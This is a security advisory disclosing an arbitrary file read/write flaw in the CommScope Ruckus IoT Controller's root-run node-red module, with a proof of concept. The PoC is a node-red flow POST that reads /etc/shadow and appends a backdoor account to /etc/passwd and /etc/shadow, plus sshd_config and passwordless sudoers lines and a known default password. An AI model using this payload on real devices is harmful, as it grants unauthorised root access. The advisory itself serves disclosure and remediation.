CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write

Vulnerability Description

The IoT Controller web application includes a NodeJS module, node-red, which has the capability for users to read or write to local files on the IoT Controller. With the elevated privileges the web application runs as, this allowed for reading and writing to any file on the IoT Controller filesystem.

Technical Description

The Ruckus IoT Controller contains the node-red NodeJS Module. The node-red module has the built in functionality to read and write to files on the local filesystem of the IoT Controller.

An authentication token is required. But a token is easily obtained due to hard-coded, default, unchangeable web application credentials (CVE-2021-33219).

With the web application (and the node-red NodeJS module) running as root, this functionality can be leveraged to read or write to any file on the filesystem of the Ruckus IoT Controller.

This condition was leveraged to add an account to the /etc/passwd file, then used to add a password hash to /etc/shadow. Additionally, the SSH daemon configuration was modified to ensure that the newly added account would be able to SSH in to the device. And to complete the escalation to root-level privileges, the newly added account was added to the /etc/sudoers configuration file.

None of these steps would have been possible if the web application (and the node-red module as a result) had not been running as the ‘root’ user.

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at:

https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf

Credit

This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc.

Proof of Concept

An excerpt of one of the POSTs, which is 16000+ bytes in length, is below:

POST /node-red/flows HTTP/1.1
....
....
{"id":"b64c27d9.bde92","type":"debug","z":"9e8d5b92.105d48","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"payload","targetType":"msg","x":410,"y":420,"wires":[]},{"id":"6a762f41.9154e","type":"file
in","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","format":"lines","chunk":false,"sendError":false,"encoding":"none","x":240,"y":340,"wires":[["b64c27d9.bde92"]]},{"id":"9f4d3e63.679728","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":300,"y":540,"wires":[[]]},{"id":"226919a8.efb196","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"","payload":"jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":500,"wires":[["9f4d3e63.679728"]]},{"id":"7b6a1a67.f44ef4","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"jbecher2:x:18626:18626:Jim
Becher,,,:/tmp:/bin/bash","payload":"","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":600,"wires":[["72dfbb2b.4e930c"]]},{"id":"72dfbb2b.4e930c","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/passwd","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":320,"y":640,"wires":[[]]}],"rev":"0564d9f18d8097f549648378fe8c4476"}

and then there is a subsequent POST to inject/trigger the flow.

root@vriot:~# tail -1 /etc/passwd
jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash

root@vriot:~# tail -1 /etc/shadow
jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::

Note: the above hash is the same as the hash of the vriotha user, whose password is known to be nplus1user (CVE-2021-33218).

root@vriot:~# tail -2 /etc/ssh/sshd_config
Match User jbecher2
PasswordAuthentication yes

root@vriot:~# tail -1 /etc/sudoers
jbecher2  ALL=(ALL:ALL) NOPASSWD: ALL

The contents of this advisory are copyright(c) 2021 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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